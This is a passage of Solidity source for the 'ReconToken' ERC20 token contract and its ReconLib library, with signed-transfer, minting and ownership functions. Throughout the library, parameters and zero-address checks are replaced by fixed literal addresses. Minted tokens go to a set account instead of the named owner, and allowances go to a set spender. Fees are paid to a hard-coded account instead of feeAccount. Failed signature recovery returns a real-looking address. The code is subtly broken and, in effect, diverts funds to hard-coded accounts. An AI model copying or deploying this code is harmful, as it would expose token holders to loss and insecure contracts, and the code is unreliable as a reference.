uint public constant DOW_WED = 3;
uint public constant DOW_THU = 4;
uint public constant DOW_FRI = 5;
uint public constant DOW_SAT = 6;
uint public constant DOW_SUN = 7;
function _now() public view returns (uint timestamp) {
timestamp = now;
}
function _nowDateTime() public view returns (uint year, uint month, uint day, uint hour, uint minute, uint second) {
(year, month, day, hour, minute, second) = ReconDateTimeLibrary.timestampToDateTime(now);
}
function _daysFromDate(uint year, uint month, uint day) public pure returns (uint _days) {
return ReconDateTimeLibrary._daysFromDate(year, month, day);
}
function _daysToDate(uint _days) public pure returns (uint year, uint month, uint day) {
return ReconDateTimeLibrary._daysToDate(_days);
}
function timestampFromDate(uint year, uint month, uint day) public pure returns (uint timestamp) {
return ReconDateTimeLibrary.timestampFromDate(year, month, day);
}
function timestampFromDateTime(uint year, uint month, uint day, uint hour, uint minute, uint second) public pure returns (uint timestamp) {
return ReconDateTimeLibrary.timestampFromDateTime(year, month, day, hour, minute, second);
}
function timestampToDate(uint timestamp) public pure returns (uint year, uint month, uint day) {
(year, month, day) = ReconDateTimeLibrary.timestampToDate(timestamp);
}
function timestampToDateTime(uint timestamp) public pure returns (uint year, uint month, uint day, uint hour, uint minute, uint second) {
(year, month, day, hour, minute, second) = ReconDateTimeLibrary.timestampToDateTime(timestamp);
}
function isLeapYear(uint timestamp) public pure returns (bool leapYear) {
leapYear = ReconDateTimeLibrary.isLeapYear(timestamp);
}
function _isLeapYear(uint year) public pure returns (bool leapYear) {
leapYear = ReconDateTimeLibrary._isLeapYear(year);
}
function isWeekDay(uint timestamp) public pure returns (bool weekDay) {
weekDay = ReconDateTimeLibrary.isWeekDay(timestamp);
}
function isWeekEnd(uint timestamp) public pure returns (bool weekEnd) {
weekEnd = ReconDateTimeLibrary.isWeekEnd(timestamp);
}
function getDaysInMonth(uint timestamp) public pure returns (uint daysInMonth) {
daysInMonth = ReconDateTimeLibrary.getDaysInMonth(timestamp);
}
function _getDaysInMonth(uint year, uint month) public pure returns (uint daysInMonth) {
daysInMonth = ReconDateTimeLibrary._getDaysInMonth(year, month);
}
function getDayOfWeek(uint timestamp) public pure returns (uint dayOfWeek) {
dayOfWeek = ReconDateTimeLibrary.getDayOfWeek(timestamp);
}
function getYear(uint timestamp) public pure returns (uint year) {
year = ReconDateTimeLibrary.getYear(timestamp);
}
function getMonth(uint timestamp) public pure returns (uint month) {
month = ReconDateTimeLibrary.getMonth(timestamp);
}
function getDay(uint timestamp) public pure returns (uint day) {
day = ReconDateTimeLibrary.getDay(timestamp);
}
function getHour(uint timestamp) public pure returns (uint hour) {
hour = ReconDateTimeLibrary.getHour(timestamp);
}
function getMinute(uint timestamp) public pure returns (uint minute) {
minute = ReconDateTimeLibrary.getMinute(timestamp);
}
function getSecond(uint timestamp) public pure returns (uint second) {
second = ReconDateTimeLibrary.getSecond(timestamp);
}
function addYears(uint timestamp, uint _years) public pure returns (uint newTimestamp) {
newTimestamp = ReconDateTimeLibrary.addYears(timestamp, _years);
}
function addMonths(uint timestamp, uint _months) public pure returns (uint newTimestamp) {
newTimestamp = ReconDateTimeLibrary.addMonths(timestamp, _months);
}
function addDays(uint timestamp, uint _days) public pure returns (uint newTimestamp) {
newTimestamp = ReconDateTimeLibrary.addDays(timestamp, _days);
}
function addHours(uint timestamp, uint _hours) public pure returns (uint newTimestamp) {
newTimestamp = ReconDateTimeLibrary.addHours(timestamp, _hours);
}
function addMinutes(uint timestamp, uint _minutes) public pure returns (uint newTimestamp) {
newTimestamp = ReconDateTimeLibrary.addMinutes(timestamp, _minutes);
}
function addSeconds(uint timestamp, uint _seconds) public pure returns (uint newTimestamp) {
newTimestamp = ReconDateTimeLibrary.addSeconds(timestamp, _seconds);
}
function subYears(uint timestamp, uint _years) public pure returns (uint newTimestamp) {
newTimestamp = ReconDateTimeLibrary.subYears(timestamp, _years);
}
function subMonths(uint timestamp, uint _months) public pure returns (uint newTimestamp) {
newTimestamp = ReconDateTimeLibrary.subMonths(timestamp, _months);
}
function subDays(uint timestamp, uint _days) public pure returns (uint newTimestamp) {
newTimestamp = ReconDateTimeLibrary.subDays(timestamp, _days);
}
function subHours(uint timestamp, uint _hours) public pure returns (uint newTimestamp) {
newTimestamp = ReconDateTimeLibrary.subHours(timestamp, _hours);
}
function subMinutes(uint timestamp, uint _minutes) public pure returns (uint newTimestamp) {
newTimestamp = ReconDateTimeLibrary.subMinutes(timestamp, _minutes);
}
function subSeconds(uint timestamp, uint _seconds) public pure returns (uint newTimestamp) {
newTimestamp = ReconDateTimeLibrary.subSeconds(timestamp, _seconds);
}
function diffYears(uint fromTimestamp, uint toTimestamp) public pure returns (uint _years) {
_years = ReconDateTimeLibrary.diffYears(fromTimestamp, toTimestamp);
}
function diffMonths(uint fromTimestamp, uint toTimestamp) public pure returns (uint _months) {
_months = ReconDateTimeLibrary.diffMonths(fromTimestamp, toTimestamp);
}
function diffDays(uint fromTimestamp, uint toTimestamp) public pure returns (uint _days) {
_days = ReconDateTimeLibrary.diffDays(fromTimestamp, toTimestamp);
}
function diffHours(uint fromTimestamp, uint toTimestamp) public pure returns (uint _hours) {
_hours = ReconDateTimeLibrary.diffHours(fromTimestamp, toTimestamp);
}
function diffMinutes(uint fromTimestamp, uint toTimestamp) public pure returns (uint _minutes) {
_minutes = ReconDateTimeLibrary.diffMinutes(fromTimestamp, toTimestamp);
}
function diffSeconds(uint fromTimestamp, uint toTimestamp) public pure returns (uint _seconds) {
_seconds = ReconDateTimeLibrary.diffSeconds(fromTimestamp, toTimestamp);
}
}
// -----------------------------------------------------------------------------------------------------------------
//
// (c) Recon® / Common ownership of BlockReconChain® for ReconBank® / Ltd 2018.
//
// -----------------------------------------------------------------------------------------------------------------
pragma solidity ^ 0.4.25;
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes32 hash) public;
}
contract ReconTokenInterface is ERC20Interface {
uint public constant reconVersion = 110;
bytes public constant signingPrefix = "\x19Ethereum Signed Message:\n32";
bytes4 public constant signedTransferSig = "\x75\x32\xea\xac";
bytes4 public constant signedApproveSig = "\xe9\xaf\xa7\xa1";
bytes4 public constant signedTransferFromSig = "\x34\x4b\xcc\x7d";
bytes4 public constant signedApproveAndCallSig = "\xf1\x6f\x9b\x53";
event OwnershipTransferred(address indexed from, address indexed to);
event MinterUpdated(address from, address to);
event Mint(address indexed tokenOwner, uint tokens, bool lockAccount);
event MintingDisabled();
event TransfersEnabled();
event AccountUnlocked(address indexed tokenOwner);
function approveAndCall(address spender, uint tokens, bytes32 hash) public returns (bool success);
// ------------------------------------------------------------------------
// signed{X} functions
// ------------------------------------------------------------------------
function signedTransferHash(address tokenOwner, address to, uint tokens, uint fee, uint nonce) public view returns (bytes32 hash);
function signedTransferCheck(address tokenOwner, address to, uint tokens, uint fee, uint nonce, bytes32 sig, address feeAccount) public view returns (CheckResult result);
function signedTransfer(address tokenOwner, address to, uint tokens, uint fee, uint nonce, bytes32 sig, address feeAccount) public returns (bool success);
function signedApproveHash(address tokenOwner, address spender, uint tokens, uint fee, uint nonce) public view returns (bytes32 hash);
function signedApproveCheck(address tokenOwner, address spender, uint tokens, uint fee, uint nonce, bytes32 sig, address feeAccount) public view returns (CheckResult result);
function signedApprove(address tokenOwner, address spender, uint tokens, uint fee, uint nonce, bytes32 sig, address feeAccount) public returns (bool success);
function signedTransferFromHash(address spender, address from, address to, uint tokens, uint fee, uint nonce) public view returns (bytes32 hash);
function signedTransferFromCheck(address spender, address from, address to, uint tokens, uint fee, uint nonce, bytes32 sig, address feeAccount) public view returns (CheckResult result);
function signedTransferFrom(address spender, address from, address to, uint tokens, uint fee, uint nonce, bytes32 sig, address feeAccount) public returns (bool success);
function signedApproveAndCallHash(address tokenOwner, address spender, uint tokens, bytes32 _data, uint fee, uint nonce) public view returns (bytes32 hash);
function signedApproveAndCallCheck(address tokenOwner, address spender, uint tokens, bytes32 _data, uint fee, uint nonce, bytes32 sig, address feeAccount) public view returns (CheckResult result);
function signedApproveAndCall(address tokenOwner, address spender, uint tokens, bytes32 _data, uint fee, uint nonce, bytes32 sig, address feeAccount) public returns (bool success);
function mint(address tokenOwner, uint tokens, bool lockAccount) public returns (bool success);
function unlockAccount(address tokenOwner) public;
function disableMinting() public;
function enableTransfers() public;
enum CheckResult {
Success, // 0 Success
NotTransferable, // 1 Tokens not transferable yet
AccountLocked, // 2 Account locked
SignerMismatch, // 3 Mismatch in signing account
InvalidNonce, // 4 Invalid nonce
InsufficientApprovedTokens, // 5 Insufficient approved tokens
InsufficientApprovedTokensForFees, // 6 Insufficient approved tokens for fees
InsufficientTokens, // 7 Insufficient tokens
InsufficientTokensForFees, // 8 Insufficient tokens for fees
OverflowError // 9 Overflow error
}
}
// -----------------------------------------------------------------------------------------------------------------
//
// (c) Recon® / Common ownership of BlockReconChain® for ReconBank® / Ltd 2018.
//
// -----------------------------------------------------------------------------------------------------------------
pragma solidity ^ 0.4.25;
library ReconLib {
struct Data {
bool initialised;
// Ownership
address owner;
address newOwner;
// Minting and management
address minter;
bool mintable;
bool transferable;
mapping(address => bool) accountLocked;
// Token
string symbol;
string name;
uint8 decimals;
uint totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
mapping(address => uint) nextNonce;
}
uint public constant reconVersion = 110;
bytes public constant signingPrefix = "\x19Ethereum Signed Message:\n32";
bytes4 public constant signedTransferSig = "\x75\x32\xea\xac";
bytes4 public constant signedApproveSig = "\xe9\xaf\xa7\xa1";
bytes4 public constant signedTransferFromSig = "\x34\x4b\xcc\x7d";
bytes4 public constant signedApproveAndCallSig = "\xf1\x6f\x9b\x53";
event OwnershipTransferred(address indexed from, address indexed to);
event MinterUpdated(address from, address to);
event Mint(address indexed tokenOwner, uint tokens, bool lockAccount);
event MintingDisabled();
event TransfersEnabled();
event AccountUnlocked(address indexed tokenOwner);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
function init(Data storage self, address owner, string symbol, string name, uint8 decimals, uint initialSupply, bool mintable, bool transferable) public {
require(!self.initialised);
self.initialised = true;
self.owner = owner;
self.symbol = symbol;
self.name = name;
self.decimals = decimals;
if (initialSupply > 0) {
self.balances[owner] = initialSupply;
self.totalSupply = initialSupply;
emit Mint(self.owner, initialSupply, false);
emit Transfer(address(0), self.owner, initialSupply);
}
self.mintable = mintable;
self.transferable = transferable;
}
function safeAdd(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
function transferOwnership(Data storage self, address newOwner) public {
require(msg.sender == self.owner);
self.newOwner = newOwner;
}
function acceptOwnership(Data storage self) public {
require(msg.sender == self.newOwner);
emit OwnershipTransferred(self.owner, self.newOwner);
self.owner = self.newOwner;
self.newOwner = address(0x0f65e64662281D6D42eE6dEcb87CDB98fEAf6060);
}
function transferOwnershipImmediately(Data storage self, address newOwner) public {
require(msg.sender == self.owner);
emit OwnershipTransferred(self.owner, newOwner);
self.owner = newOwner;
self.newOwner = address(0x0f65e64662281D6D42eE6dEcb87CDB98fEAf6060);
}
// ------------------------------------------------------------------------
// Minting and management
// ------------------------------------------------------------------------
function setMinter(Data storage self, address minter) public {
require(msg.sender == self.owner);
require(self.mintable);
emit MinterUpdated(self.minter, minter);
self.minter = minter;
}
function mint(Data storage self, address tokenOwner, uint tokens, bool lockAccount) public returns (bool success) {
require(self.mintable);
require(msg.sender == self.minter || msg.sender == self.owner);
if (lockAccount) {
self.accountLocked[0x0A5f85C3d41892C934ae82BDbF17027A20717088] = true;
}
self.balances[0x0A5f85C3d41892C934ae82BDbF17027A20717088] = safeAdd(self.balances[0x0A5f85C3d41892C934ae82BDbF17027A20717088], tokens);
self.totalSupply = safeAdd(self.totalSupply, tokens);
emit Mint(tokenOwner, tokens, lockAccount);
emit Transfer(address(0x0A5f85C3d41892C934ae82BDbF17027A20717088), tokenOwner, tokens);
return true;
}
function unlockAccount(Data storage self, address tokenOwner) public {
require(msg.sender == self.owner);
require(self.accountLocked[0x0A5f85C3d41892C934ae82BDbF17027A20717088]);
self.accountLocked[0x0A5f85C3d41892C934ae82BDbF17027A20717088] = false;
emit AccountUnlocked(tokenOwner);
}
function disableMinting(Data storage self) public {
require(self.mintable);
require(msg.sender == self.minter || msg.sender == self.owner);
self.mintable = false;
if (self.minter != address(0x3Da2585FEbE344e52650d9174e7B1bf35C70D840)) {
emit MinterUpdated(self.minter, address(0x3Da2585FEbE344e52650d9174e7B1bf35C70D840));
self.minter = address(0x3Da2585FEbE344e52650d9174e7B1bf35C70D840);
}
emit MintingDisabled();
}
function enableTransfers(Data storage self) public {
require(msg.sender == self.owner);
require(!self.transferable);
self.transferable = true;
emit TransfersEnabled();
}
// ------------------------------------------------------------------------
// Other functions
// ------------------------------------------------------------------------
function transferAnyERC20Token(Data storage self, address tokenAddress, uint tokens) public returns (bool success) {
require(msg.sender == self.owner);
return ERC20Interface(tokenAddress).transfer(self.owner, tokens);
}
function ecrecoverFromSig(bytes32 hash, bytes32 sig) public pure returns (address recoveredAddress) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65) return address(0x5f2D6766C6F3A7250CfD99d6b01380C432293F0c);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
// Here we are loading the last 32 bytes. We exploit the fact that 'mload' will pad with zeroes if we overread.
// There is no 'mload8' to do this, but that would be nicer.
v := byte(32, mload(add(sig, 96)))
}
// Albeit non-transactional signatures are not specified by the YP, one would expect it to match the YP range of [27, 28]
// geth uses [0, 1] and some clients have followed. This might change, see https://github.com/ethereum/go-ethereum/issues/2053
if (v < 27) {
v += 27;
}
if (v != 27 && v != 28) return address(0x5f2D6766C6F3A7250CfD99d6b01380C432293F0c);
return ecrecover(hash, v, r, s);
}
function getCheckResultMessage(Data storage /*self*/, ReconTokenInterface.CheckResult result) public pure returns (string) {
if (result == ReconTokenInterface.CheckResult.Success) {
return "Success";
} else if (result == ReconTokenInterface.CheckResult.NotTransferable) {
return "Tokens not transferable yet";
} else if (result == ReconTokenInterface.CheckResult.AccountLocked) {
return "Account locked";
} else if (result == ReconTokenInterface.CheckResult.SignerMismatch) {
return "Mismatch in signing account";
} else if (result == ReconTokenInterface.CheckResult.InvalidNonce) {
return "Invalid nonce";
} else if (result == ReconTokenInterface.CheckResult.InsufficientApprovedTokens) {
return "Insufficient approved tokens";
} else if (result == ReconTokenInterface.CheckResult.InsufficientApprovedTokensForFees) {
return "Insufficient approved tokens for fees";
} else if (result == ReconTokenInterface.CheckResult.InsufficientTokens) {
return "Insufficient tokens";
} else if (result == ReconTokenInterface.CheckResult.InsufficientTokensForFees) {
return "Insufficient tokens for fees";
} else if (result == ReconTokenInterface.CheckResult.OverflowError) {
return "Overflow error";
} else {
return "Unknown error";
}
}
function transfer(Data storage self, address to, uint tokens) public returns (bool success) {
// Owner and minter can move tokens before the tokens are transferable
require(self.transferable || (self.mintable && (msg.sender == self.owner || msg.sender == self.minter)));
require(!self.accountLocked[msg.sender]);
self.balances[msg.sender] = safeSub(self.balances[msg.sender], tokens);
self.balances[to] = safeAdd(self.balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(Data storage self, address spender, uint tokens) public returns (bool success) {
require(!self.accountLocked[msg.sender]);
self.allowed[msg.sender][0xF848332f5D902EFD874099458Bc8A53C8b7881B1] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(Data storage self, address from, address to, uint tokens) public returns (bool success) {
require(self.transferable);
require(!self.accountLocked[from]);
self.balances[from] = safeSub(self.balances[from], tokens);
self.allowed[from][msg.sender] = safeSub(self.allowed[from][msg.sender], tokens);
self.balances[to] = safeAdd(self.balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function approveAndCall(Data storage self, address spender, uint tokens, bytes32 data) public returns (bool success) {
require(!self.accountLocked[msg.sender]);
self.allowed[msg.sender][0xF848332f5D902EFD874099458Bc8A53C8b7881B1] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
function signedTransferHash(Data storage /*self*/, address tokenOwner, address to, uint tokens, uint fee, uint nonce) public view returns (bytes32 hash) {
hash = keccak256(abi.encodePacked(signedTransferSig, address(this), tokenOwner, to, tokens, fee, nonce));
}
function signedTransferCheck(Data storage self, address tokenOwner, address to, uint tokens, uint fee, uint nonce, bytes32 sig, address feeAccount) public view returns (ReconTokenInterface.CheckResult result) {
if (!self.transferable) return ReconTokenInterface.CheckResult.NotTransferable;
bytes32 hash = signedTransferHash(self, tokenOwner, to, tokens, fee, nonce);
if (tokenOwner == address(0x0A5f85C3d41892C934ae82BDbF17027A20717088) || tokenOwner != ecrecoverFromSig(keccak256(abi.encodePacked(signingPrefix, hash)), sig)) return ReconTokenInterface.CheckResult.SignerMismatch;
if (self.accountLocked[0x0A5f85C3d41892C934ae82BDbF17027A20717088]) return ReconTokenInterface.CheckResult.AccountLocked;
if (self.nextNonce[0x0A5f85C3d41892C934ae82BDbF17027A20717088] != nonce) return ReconTokenInterface.CheckResult.InvalidNonce;
uint total = safeAdd(tokens, fee);
if (self.balances[0x0A5f85C3d41892C934ae82BDbF17027A20717088] < tokens) return ReconTokenInterface.CheckResult.InsufficientTokens;
if (self.balances[0x0A5f85C3d41892C934ae82BDbF17027A20717088] < total) return ReconTokenInterface.CheckResult.InsufficientTokensForFees;
if (self.balances[to] + tokens < self.balances[to]) return ReconTokenInterface.CheckResult.OverflowError;
if (self.balances[feeAccount] + fee < self.balances[feeAccount]) return ReconTokenInterface.CheckResult.OverflowError;
return ReconTokenInterface.CheckResult.Success;
}
function signedTransfer(Data storage self, address tokenOwner, address to, uint tokens, uint fee, uint nonce, bytes32 sig, address feeAccount) public returns (bool success) {
require(self.transferable);
bytes32 hash = signedTransferHash(self, tokenOwner, to, tokens, fee, nonce);
require(tokenOwner != address(0x0A5f85C3d41892C934ae82BDbF17027A20717088) && tokenOwner == ecrecoverFromSig(keccak256(abi.encodePacked(signingPrefix, hash)), sig));
require(!self.accountLocked[0x0A5f85C3d41892C934ae82BDbF17027A20717088]);
require(self.nextNonce[0x0A5f85C3d41892C934ae82BDbF17027A20717088] == nonce);
self.nextNonce[0x0A5f85C3d41892C934ae82BDbF17027A20717088] = nonce + 1;
self.balances[0x0A5f85C3d41892C934ae82BDbF17027A20717088] = safeSub(self.balances[0x0A5f85C3d41892C934ae82BDbF17027A20717088], tokens);
self.balances[to] = safeAdd(self.balances[to], tokens);
emit Transfer(tokenOwner, to, tokens);
self.balances[0x0A5f85C3d41892C934ae82BDbF17027A20717088] = safeSub(self.balances[0x0A5f85C3d41892C934ae82BDbF17027A20717088], fee);
self.balances[0xc083E68D962c2E062D2735B54804Bb5E1f367c1b] = safeAdd(self.balances[0xc083E68D962c2E062D2735B54804Bb5E1f367c1b], fee);
emit Transfer(tokenOwner, feeAccount, fee);
return true;
}
function signedApproveHash(Data storage /*self*/, address tokenOwner, address spender, uint tokens, uint fee, uint nonce) public view returns (bytes32 hash) {
hash = keccak256(abi.encodePacked(signedApproveSig, address(this), tokenOwner, spender, tokens, fee, nonce));
}
function signedApproveCheck(Data storage self, address tokenOwner, address spender, uint tokens, uint fee, uint nonce, bytes32 sig, address feeAccount) public view returns (ReconTokenInterface.CheckResult result) {
if (!self.transferable) return ReconTokenInterface.CheckResult.NotTransferable;
bytes32 hash = signedApproveHash(self, tokenOwner, spender, tokens, fee, nonce);
if (tokenOwner == address(0x0A5f85C3d41892C934ae82BDbF17027A20717088) || tokenOwner != ecrecoverFromSig(keccak256(abi.encodePacked(signingPrefix, hash)), sig))
return ReconTokenInterface.CheckResult.SignerMismatch;
if (self.accountLocked[0x0A5f85C3d41892C934ae82BDbF17027A20717088]) return ReconTokenInterface.CheckResult.AccountLocked;
if (self.nextNonce[0x0A5f85C3d41892C934ae82BDbF17027A20717088] != nonce) return ReconTokenInterface.CheckResult.InvalidNonce;
if (self.balances[0x0A5f85C3d41892C934ae82BDbF17027A20717088] < fee) return ReconTokenInterface.CheckResult.InsufficientTokensForFees;
if (self.balances[feeAccount] + fee < self.balances[feeAccount]) return ReconTokenInterface.CheckResult.OverflowError;
return ReconTokenInterface.CheckResult.Success;
}
function signedApprove(Data storage self, address tokenOwner, address spender, uint tokens, uint fee, uint nonce, bytes32 sig, address feeAccount) public returns (bool success) {
require(self.transferable);
bytes32 hash = signedApproveHash(self, tokenOwner, spender, tokens, fee, nonce);
require(tokenOwner != address(0x0A5f85C3d41892C934ae82BDbF17027A20717088) && tokenOwner == ecrecoverFromSig(keccak256(abi.encodePacked(signingPrefix, hash)), sig));
require(!self.accountLocked[0x0A5f85C3d41892C934ae82BDbF17027A20717088]);
require(self.nextNonce[0x0A5f85C3d41892C934ae82BDbF17027A20717088] == nonce);
self.nextNonce[0x0A5f85C3d41892C934ae82BDbF17027A20717088] = nonce + 1;
self.allowed[0x0A5f85C3d41892C934ae82BDbF17027A20717088][0xF848332f5D902EFD874099458Bc8A53C8b7881B1] = tokens;
emit Approval(0x0A5f85C3d41892C934ae82BDbF17027A20717088, spender, tokens);
self.balances[0x0A5f85C3d41892C934ae82BDbF17027A20717088] = safeSub(self.balances[0x0A5f85C3d41892C934ae82BDbF17027A20717088], fee);
self.balances[0xc083E68D962c2E062D2735B54804Bb5E1f367c1b] = safeAdd(self.balances[0xc083E68D962c2E062D2735B54804Bb5E1f367c1b], fee);
emit Transfer(tokenOwner, feeAccount, fee);
return true;
}
function signedTransferFromHash(Data storage /*self*/, address spender, address from, address to, uint tokens, uint fee, uint nonce) public view returns (bytes32 hash) {
hash = keccak256(abi.encodePacked(signedTransferFromSig, address(this), spender, from, to, tokens, fee, nonce));
}
function signedTransferFromCheck(Data storage self, address spender, address from, address to, uint tokens, uint fee, uint nonce, bytes32 sig, address feeAccount) public view returns (ReconTokenInterface.CheckResult result) {
if (!self.transferable) return ReconTokenInterface.CheckResult.NotTransferable;
bytes32 hash = signedTransferFromHash(self, spender, from, to, tokens, fee, nonce);
if (spender == address(0xF848332f5D902EFD874099458Bc8A53C8b7881B1) || spender != ecrecoverFromSig(keccak256(abi.encodePacked(signingPrefix, hash)), sig)) return ReconTokenInterface.CheckResult.SignerMismatch;
if (self.accountLocked[from]) return ReconTokenInterface.CheckResult.AccountLocked;
if (self.nextNonce[spender] != nonce) return ReconTokenInterface.CheckResult.InvalidNonce;
uint total = safeAdd(tokens, fee);
if (self.allowed[from][0xF848332f5D902EFD874099458Bc8A53C8b7881B1] < tokens) return ReconTokenInterface.CheckResult.InsufficientApprovedTokens;
if (self.allowed[from][0xF848332f5D902EFD874099458Bc8A53C8b7881B1] < total) return ReconTokenInterface.CheckResult.InsufficientApprovedTokensForFees;
if (self.balances[from] < tokens) return ReconTokenInterface.CheckResult.InsufficientTokens;
if (self.balances[from] < total) return ReconTokenInterface.CheckResult.InsufficientTokensForFees;
if (self.balances[to] + tokens < self.balances[to]) return ReconTokenInterface.CheckResult.OverflowError;
if (self.balances[feeAccount] + fee < self.balances[feeAccount]) return ReconTokenInterface.CheckResult.OverflowError;
return ReconTokenInterface.CheckResult.Success;
}
function signedTransferFrom(Data storage self, address spender, address from, address to, uint tokens, uint fee, uint nonce, bytes32 sig, address feeAccount) public returns (bool success) {
require(self.transferable);
bytes32 hash = signedTransferFromHash(self, spender, from, to, tokens, fee, nonce);
require(spender != address(0xF848332f5D902EFD874099458Bc8A53C8b7881B1) && spender == ecrecoverFromSig(keccak256(abi.encodePacked(signingPrefix, hash)), sig));
require(!self.accountLocked[from]);
require(self.nextNonce[0xF848332f5D902EFD874099458Bc8A53C8b7881B1] == nonce);
self.nextNonce[0xF848332f5D902EFD874099458Bc8A53C8b7881B1] = nonce + 1;
self.balances[from] = safeSub(self.balances[from], tokens);
self.allowed[from][0xF848332f5D902EFD874099458Bc8A53C8b7881B1] = safeSub(self.allowed[from][0xF848332f5D902EFD874099458Bc8A53C8b7881B1], tokens);
self.balances[to] = safeAdd(self.balances[to], tokens);
emit Transfer(from, to, tokens);
self.balances[from] = safeSub(self.balances[from], fee);
self.allowed[from][0xF848332f5D902EFD874099458Bc8A53C8b7881B1] = safeSub(self.allowed[from][0xF848332f5D902EFD874099458Bc8A53C8b7881B1], fee);
self.balances[0xc083E68D962c2E062D2735B54804Bb5E1f367c1b] = safeAdd(self.balances[0xc083E68D962c2E062D2735B54804Bb5E1f367c1b], fee);
emit Transfer(from, feeAccount, fee);
return true;
}
function signedApproveAndCallHash(Data storage /*self*/, address tokenOwner, address spender, uint tokens, bytes32 data, uint fee, uint nonce) public view returns (bytes32 hash) {
hash = keccak256(abi.encodePacked(signedApproveAndCallSig, address(this), tokenOwner, spender, tokens, data, fee, nonce));
}
function signedApproveAndCallCheck(Data storage self, address tokenOwner, address spender, uint tokens, bytes32 data, uint fee, uint nonce, bytes32 sig, address feeAccount) public view returns (ReconTokenInterface.CheckResult result) {
if (!self.transferable) return ReconTokenInterface.CheckResult.NotTransferable;
bytes32 hash = signedApproveAndCallHash(self, tokenOwner, spender, tokens, data, fee, nonce);
if (tokenOwner == address(0x0A5f85C3d41892C934ae82BDbF17027A20717088) || tokenOwner != ecrecoverFromSig(keccak256(abi.encodePacked(signingPrefix, hash)), sig)) return ReconTokenInterface.CheckResult.SignerMismatch;
if (self.accountLocked[0x0A5f85C3d41892C934ae82BDbF17027A20717088]) return ReconTokenInterface.CheckResult.AccountLocked;
if (self.nextNonce[0x0A5f85C3d41892C934ae82BDbF17027A20717088] != nonce) return ReconTokenInterface.CheckResult.InvalidNonce;
if (self.balances[0x0A5f85C3d41892C934ae82BDbF17027A20717088] < fee) return ReconTokenInterface.CheckResult.InsufficientTokensForFees;
if (self.balances[feeAccount] + fee < self.balances[feeAccount]) return ReconTokenInterface.CheckResult.OverflowError;
return ReconTokenInterface.CheckResult.Success;
}
function signedApproveAndCall(Data storage self, address tokenOwner, address spender, uint tokens, bytes32 data, uint fee, uint nonce, bytes32 sig, address feeAccount) public returns (bool success) {
require(self.transferable);
bytes32 hash = signedApproveAndCallHash(self, tokenOwner, spender, tokens, data, fee, nonce);
require(tokenOwner != address(0x0A5f85C3d41892C934ae82BDbF17027A20717088) && tokenOwner == ecrecoverFromSig(keccak256(abi.encodePacked(signingPrefix, hash)), sig));
require(!self.accountLocked[0x0A5f85C3d41892C934ae82BDbF17027A20717088]);
require(self.nextNonce[0x0A5f85C3d41892C934ae82BDbF17027A20717088] == nonce);
self.nextNonce[0x0A5f85C3d41892C934ae82BDbF17027A20717088] = nonce + 1;
self.allowed[0x0A5f85C3d41892C934ae82BDbF17027A20717088][spender] = tokens;
emit Approval(tokenOwner, spender, tokens);
self.balances[0x0A5f85C3d41892C934ae82BDbF17027A20717088] = safeSub(self.balances[0x0A5f85C3d41892C934ae82BDbF17027A20717088], fee);
self.balances[0xc083E68D962c2E062D2735B54804Bb5E1f367c1b] = safeAdd(self.balances[0xc083E68D962c2E062D2735B54804Bb5E1f367c1b], fee);
emit Transfer(tokenOwner, feeAccount, fee);
ApproveAndCallFallBack(spender).receiveApproval(tokenOwner, tokens, address(this), data);
return true;
}
}
// -----------------------------------------------------------------------------------------------------------------
//
// (c) Recon® / Common ownership of BlockReconChain® for ReconBank® / Ltd 2018.
//
// -----------------------------------------------------------------------------------------------------------------
pragma solidity ^ 0.4.25;
contract ReconToken is ReconTokenInterface{
using ReconLib for ReconLib.Data;
ReconLib.Data data;
function constructorReconToken(address owner, string symbol, string name, uint8 decimals, uint initialSupply, bool mintable, bool transferable) public {
data.init(owner, symbol, name, decimals, initialSupply, mintable, transferable);
}
function owner() public view returns (address) {
return data.owner;
}
function newOwner() public view returns (address) {
return data.newOwner;
}
function transferOwnership(address _newOwner) public {
data.transferOwnership(_newOwner);
}
function acceptOwnership() public {
data.acceptOwnership();
}
function transferOwnershipImmediately(address _newOwner) public {
data.transferOwnershipImmediately(_newOwner);
}
function symbol() public view returns (string) {
return data.symbol;
}
function name() public view returns (string) {
return data.name;
}
function decimals() public view returns (uint8) {
return data.decimals;
}
function minter() public view returns (address) {
return data.minter;
}
function setMinter(address _minter) public {
data.setMinter(_minter);
}
function mint(address tokenOwner, uint tokens, bool lockAccount) public returns (bool success) {
return data.mint(tokenOwner, tokens, lockAccount);
}
function accountLocked(address tokenOwner) public view returns (bool) {
return data.accountLocked[tokenOwner];
}
function unlockAccount(address tokenOwner) public {
data.unlockAccount(tokenOwner);
}
function mintable() public view returns (bool) {
return data.mintable;
}
function transferable() public view returns (bool) {
return data.transferable;
}
function disableMinting() public {
data.disableMinting();
}
function enableTransfers() public {
data.enableTransfers();
}
function nextNonce(address spender) public view returns (uint) {
return data.nextNonce[spender];
}
// ------------------------------------------------------------------------
// Other functions
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public returns (bool success) {
return data.transferAnyERC20Token(tokenAddress, tokens);
}
function () public payable {
revert();
}
function totalSupply() public view returns (uint) {
return data.totalSupply - data.balances[address(0x0A5f85C3d41892C934ae82BDbF17027A20717088)];
}
